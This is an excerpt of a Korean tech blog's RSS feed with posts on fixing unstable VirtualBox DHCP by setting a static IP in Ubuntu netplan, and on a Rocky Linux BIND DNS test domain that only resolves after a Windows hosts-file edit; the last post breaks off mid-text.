&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;KakaoTalk_20260509_174040018_01.jpg&quot; data-origin-width=&quot;3570&quot; data-origin-height=&quot;2533&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEjqWl/dJMcag6wlsY/tbd1ZFaxNKIKlWpFSyEq40/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEjqWl/dJMcag6wlsY/tbd1ZFaxNKIKlWpFSyEq40/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEjqWl/dJMcag6wlsY/tbd1ZFaxNKIKlWpFSyEq40/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEjqWl%2FdJMcag6wlsY%2Ftbd1ZFaxNKIKlWpFSyEq40%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3570&quot; height=&quot;2533&quot; data-filename=&quot;KakaoTalk_20260509_174040018_01.jpg&quot; data-origin-width=&quot;3570&quot; data-origin-height=&quot;2533&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;KakaoTalk_20260509_174040018.jpg&quot; data-origin-width=&quot;3570&quot; data-origin-height=&quot;2331&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QDrdb/dJMcacQzIhz/jKy2B4Mnw3BvJdX4CjaF8k/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QDrdb/dJMcacQzIhz/jKy2B4Mnw3BvJdX4CjaF8k/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QDrdb/dJMcacQzIhz/jKy2B4Mnw3BvJdX4CjaF8k/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQDrdb%2FdJMcacQzIhz%2FjKy2B4Mnw3BvJdX4CjaF8k%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3570&quot; height=&quot;2331&quot; data-filename=&quot;KakaoTalk_20260509_174040018.jpg&quot; data-origin-width=&quot;3570&quot; data-origin-height=&quot;2331&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>네트워크정리</category>
      <category>네트워크 #gns3</category>
      <author>palantirops</author>
      <guid isPermaLink="true">https://palantirops.tistory.com/39</guid>
      <comments>https://palantirops.tistory.com/39#entry39comment</comments>
      <pubDate>Sat, 9 May 2026 17:45:17 +0900</pubDate>
    </item>
    <item>
      <title>[Ubuntu] VirtualBox DHCP IP 할당 불안정 문제 완벽 해결 가이드</title>
      <link>https://palantirops.tistory.com/38</link>
      <description>&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;VirtualBox DHCP IP 할당 불안정 문제 완벽 해결 가이드&lt;/h1&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;20시간의 시행착오를 정리했습니다.&lt;/b&gt; Docker 설치 후 갑자기 발생한 DHCP 할당 실패 문제의 원인과 근본적인 해결방법입니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  문제 상황 요약&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;증상&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;이전&lt;/b&gt;: 부팅할 때마다 공유기(DHCP)에서 정상적으로 IP 할당 (예: 172.16.11.235)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;현재&lt;/b&gt;: 부팅 시 공유기 대신 &lt;b&gt;호스트 PC의 가상 IP&lt;/b&gt;(예: 223.x.x.x) 자동 할당&lt;/li&gt;
&lt;li&gt;&lt;b&gt;임시 해결&lt;/b&gt;: ipconfig /release &amp;rarr; ipconfig /renew 수행하면 정상 IP로 변경됨, 버츄얼박스 브릿지에 연결되어 있는 기기를 계속 지우고 다시 연결하고 삭제해도 같은 문제 반복됨.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;반복 발생&lt;/b&gt;: 부팅할 때마다 같은 문제 반복&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;시간대별 문제 진행&lt;/h3&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;월요일까지     &amp;rarr; DHCP 정상 할당 ✅
화요일 아침     &amp;rarr; 갑자기 할당 실패 ❌
그 사이에       &amp;rarr; Docker &amp;amp; Hyper-V 삭제&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  원인 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;근본 원인: Windows Hyper-V와 VirtualBox의 네트워크 충돌&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Docker 설치 시 발생한 변화:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;Docker 설치 &amp;rarr; Hyper-V 자동 활성화&lt;/li&gt;
&lt;li&gt;Hyper-V 활성화 &amp;rarr; Windows 가상 스위치(vEthernet) 생성&lt;/li&gt;
&lt;li&gt;vEthernet이 &lt;b&gt;네트워크 우선순위를 높게 설정&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;VirtualBox의 DHCP 요청이 공유기 대신 &lt;b&gt;Windows 가상 스위치에 먼저 캡처됨&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;결과적으로 잘못된 IP 범위(223.x.x.x)에서 할당받음&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;왜 기존 방법들이 임시 해결일까?&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ipconfig /release/renew: 그 순간만 정상 IP로 변경되지만, &lt;b&gt;부팅 시 우선순위 문제는 해결 안 됨&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;브릿지 제거, 디바이스 삭제: 임시 해결이지 근본 원인 제거 아님&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;✅ 근본적인 해결 방법: netplan 고정 IP 설정&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;가장 안정적인 해결책은 DHCP 의존성 제거입니다.&lt;/b&gt;&lt;br /&gt;Linux VM 내부에서 고정 IP를 설정하면 부팅 시마다 안정적으로 작동합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;적용 단계&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Step 1: 현재 설정 파일 확인&lt;/b&gt;&lt;/h4&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;cd /etc/netplan
ls -la
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보통 다음 중 하나 있음:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;00-installer-config.yaml&lt;/li&gt;
&lt;li&gt;01-netcfg.yaml&lt;/li&gt;
&lt;li&gt;50-cloud-init.yaml&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Step 2: 백업 (매우 중요!)&lt;/b&gt;&lt;/h4&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;sudo cp /etc/netplan/00-installer-config.yaml /etc/netplan/00-installer-config.yaml.backup
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Step 3: 파일 편집&lt;/b&gt;&lt;/h4&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;sudo nano /etc/netplan/00-installer-config.yaml
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Step 4: 기존 내용 전부 삭제하고 아래 입력&lt;/b&gt;&lt;/h4&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;network:
  version: 2
  renderer: networkd
  ethernets:
    enp0s3:
      dhcp4: false
      addresses:
        - 172.16.11.235/24
      routes:
        - to: default
          via: 172.16.11.254
      nameservers:
        addresses:
          - 8.8.8.8
          - 172.16.11.254
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;⚠️ YAML 주의사항:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;탭 금지&lt;/b&gt; - 반드시 스페이스 2개 사용&lt;/li&gt;
&lt;li&gt;들여쓰기 오류 시 전체 설정이 작동하지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Step 5: 저장 및 적용&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;nano 에디터 사용 시:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;less&quot;&gt;&lt;code&gt;Ctrl + O (저장)
Enter
Ctrl + X (종료)
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;설정 적용:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;coq&quot;&gt;&lt;code&gt;sudo netplan apply
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Step 6: 네트워크 재시작 (확실하게 반영)&lt;/b&gt;&lt;/h4&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;sudo systemctl restart systemd-networkd&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Step 7: 확인&lt;/b&gt;&lt;/h4&gt;
&lt;pre class=&quot;mipsasm&quot;&gt;&lt;code&gt;ip addr show enp0s3
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;성공 시 출력:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;inet 172.16.11.235/24 brd 172.16.11.255 scope global enp0s3
&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  적용 중 에러 발생 시&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;에러: Configuration rejected&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;원인&lt;/b&gt;: YAML 들여쓰기 오류&lt;br /&gt;&lt;b&gt;해결&lt;/b&gt;:&lt;/p&gt;
&lt;pre class=&quot;applescript&quot;&gt;&lt;code&gt;sudo netplan try  # 설정 검증
# 에러 메시지 확인 후 파일 수정
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;롤백 (설정 원상복구)&lt;/h3&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;sudo cp /etc/netplan/00-installer-config.yaml.backup /etc/netplan/00-installer-config.yaml
sudo netplan apply
&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;✔️ 최종 검증 (부팅 후 매번 확인)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;부팅 후 확인 명령어&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;# 현재 IP 확인
ip addr show enp0s3

# 라우팅 테이블 확인
ip route show

# DNS 확인
cat /etc/resolv.conf

# 게이트웨이 통신 확인
ping 172.16.11.254

# 외부 인터넷 통신 확인
ping 8.8.8.8
&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  왜 고정 IP가 정답일까?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;항목 DHCP 동적 할당 고정 IP 설정&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;부팅 안정성&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;❌ 불안정 (우선순위 의존)&lt;/td&gt;
&lt;td&gt;✅ 항상 안정적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;네트워크 충돌&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;❌ Hyper-V 영향 받음&lt;/td&gt;
&lt;td&gt;✅ 영향 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;관리 편의성&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;❌ 매번 확인 필요&lt;/td&gt;
&lt;td&gt;✅ 예측 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;서버 환경에 적합&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;❌ 부적절&lt;/td&gt;
&lt;td&gt;✅ 표준 방식&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결론&lt;/b&gt;: VM 내부에서 고정 IP를 사용하는 것이 서버 환경에서의 표준 관행입니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>리눅스</category>
      <category>우분투 # 리눅스 # 버츄얼박스 # DHCP</category>
      <author>palantirops</author>
      <guid isPermaLink="true">https://palantirops.tistory.com/38</guid>
      <comments>https://palantirops.tistory.com/38#entry38comment</comments>
      <pubDate>Fri, 1 May 2026 17:39:14 +0900</pubDate>
    </item>
    <item>
      <title>Rocky Linux DNS 서버 구축 후 브라우저에서 도메인이 안 열릴 때 해결법</title>
      <link>https://palantirops.tistory.com/37</link>
      <description>&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;문제 상황&lt;/b&gt;&lt;/h3&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;Rocky Linux에 BIND(named)로 DNS 서버를 구축하고 &lt;a href=&quot;http://test.com&quot;&gt;test.com&lt;/a&gt; 도메인을 등록했는데, 브라우저에서 &lt;a href=&quot;http://www.test.com을&quot;&gt;www.test.com을&lt;/a&gt; 입력하면 내 서버가 아닌 도메인 판매 사이트가 나왔다.&lt;/h3&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;원인&lt;/b&gt;&lt;/h3&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;Windows가 DNS 질의를 내 서버(xxx.xxx.xx.xxx)가 아닌 공용 DNS(x.xxx.xx.x)로 보내고 있었기 때문. nslookup test.com [서버IP]로 직접 물어보면 정상 응답이 오는 걸로 DNS 서버 자체는 문제없음을 확인.&lt;/h3&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;과정1&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 윈도우 터미널에서 아래 입력&lt;/p&gt;
&lt;pre id=&quot;code_1775126564343&quot; class=&quot;css&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;nslookup www.test.com &amp;lt;본인아이피&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 이 과정을 반드시 확인해보신 후에 dns서버 자체 문제가 없는지 꼭 확인바람!&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 결과적으로 본인 아이피가 나오면 dns 문제는 아님&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;과정2&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;nslookup으로 DNS 서버 정상 동작 확인&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Windows DNS 설정 변경 시도 &amp;rarr; 브리지 네트워크 때문에 적용 실패&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;C:\Windows\System32\drivers\etc\hosts 파일에 직접 추가 -&amp;gt; &lt;b&gt;성공&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;시도했던 방법들&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 아래 계속 이 사이트가 나옴&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;771&quot; data-origin-height=&quot;930&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbXBtc/dJMcajaCSQ8/E8xoegLZkyIkMscxQWeJpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbXBtc/dJMcajaCSQ8/E8xoegLZkyIkMscxQWeJpK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbXBtc/dJMcajaCSQ8/E8xoegLZkyIkMscxQWeJpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbXBtc%2FdJMcajaCSQ8%2FE8xoegLZkyIkMscxQWeJpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;771&quot; height=&quot;930&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;771&quot; data-origin-height=&quot;930&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 아래 와이파이 누르고 속성 들어가면 아래와 같은 창이 나오는데 밑에 자동 DHCP를 수동으로 누르고 본인이 구축한 (test.com) 사이트의 아이피를 ipv4로 넣어주면 되는데, 그렇게 해도 안된다.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;791&quot; data-origin-height=&quot;992&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8n6Rc/dJMcaf0nC2H/WekPEPRr1W6e6LPxfBk66K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8n6Rc/dJMcaf0nC2H/WekPEPRr1W6e6LPxfBk66K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8n6Rc/dJMcaf0nC2H/WekPEPRr1W6e6LPxfBk66K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8n6Rc%2FdJMcaf0nC2H%2FWekPEPRr1W6e6LPxfBk66K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;791&quot; height=&quot;992&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;791&quot; data-origin-height=&quot;992&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 세번째 바로&amp;nbsp; Win + R &amp;rarr; ncpa.cpl &amp;rarr; 엔터 이걸 순서대로 누르시면 아래 창이 나옵니다. &lt;/b&gt;&lt;b&gt;여기서 주의 할점은 와이파이 말고, 네트워크 브리지를 우클릭 하시는 겁니다.!&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;KakaoTalk_Photo_2026-04-02-19-45-52 005.png&quot; data-origin-width=&quot;1060&quot; data-origin-height=&quot;368&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cZVHNk/dJMcacvRP6u/BCSv5JBWuQ10VJQ54PIiD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cZVHNk/dJMcacvRP6u/BCSv5JBWuQ10VJQ54PIiD1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cZVHNk/dJMcacvRP6u/BCSv5JBWuQ10VJQ54PIiD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcZVHNk%2FdJMcacvRP6u%2FBCSv5JBWuQ10VJQ54PIiD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1060&quot; height=&quot;368&quot; data-filename=&quot;KakaoTalk_Photo_2026-04-02-19-45-52 005.png&quot; data-origin-width=&quot;1060&quot; data-origin-height=&quot;368&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;그럼 아래와 같은 이미지가 보일텐데요 이때, 인터넷 프로토콜 버전 4 (TCP/IPv4) 더블클릭 이걸 누르세요&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;KakaoTalk_Photo_2026-04-02-19-45-52 006.png&quot; data-origin-width=&quot;402&quot; data-origin-height=&quot;410&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ncoiq/dJMcacJo17I/6i2VncZ4uSND9LWHNpBQGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ncoiq/dJMcacJo17I/6i2VncZ4uSND9LWHNpBQGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ncoiq/dJMcacJo17I/6i2VncZ4uSND9LWHNpBQGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fncoiq%2FdJMcacJo17I%2F6i2VncZ4uSND9LWHNpBQGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;402&quot; height=&quot;410&quot; data-filename=&quot;KakaoTalk_Photo_2026-04-02-19-45-52 006.png&quot; data-origin-width=&quot;402&quot; data-origin-height=&quot;410&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;그럼 아래와 같은 창이 뜨고 모자이크 처리된&amp;nbsp; 다음 DNS 서버 주소 사용부분에 본인의 아이피하고, 보조 dns에는 8.8.8.8을 누르시면 끝입니다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;721&quot; data-origin-height=&quot;644&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c0VVjV/dJMcajhoecT/tnEZrGDnprHrblYSb5gih1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c0VVjV/dJMcajhoecT/tnEZrGDnprHrblYSb5gih1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c0VVjV/dJMcajhoecT/tnEZrGDnprHrblYSb5gih1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc0VVjV%2FdJMcajhoecT%2FtnEZrGDnprHrblYSb5gih1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;721&quot; height=&quot;644&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;721&quot; data-origin-height=&quot;644&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 안됐고 결국 마지막 방법으로 성공했습니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;4. &lt;b&gt;마지막 성공 방법은, 호스트를 변경합니다. 메모장을 열어서 파일을 오픈 눌러서, 관리자 권한으로 실행합니다. 그후 아래 경로를 누르는데 이때 모든 파일이 보이게 누르시고 hosts파일이 등장합니다. 그 아래에 본인 아이피하고 도메인 네임을 적고 완료하시면, 접속이 성공하게 됩니다.&lt;/b&gt;&lt;/p&gt;
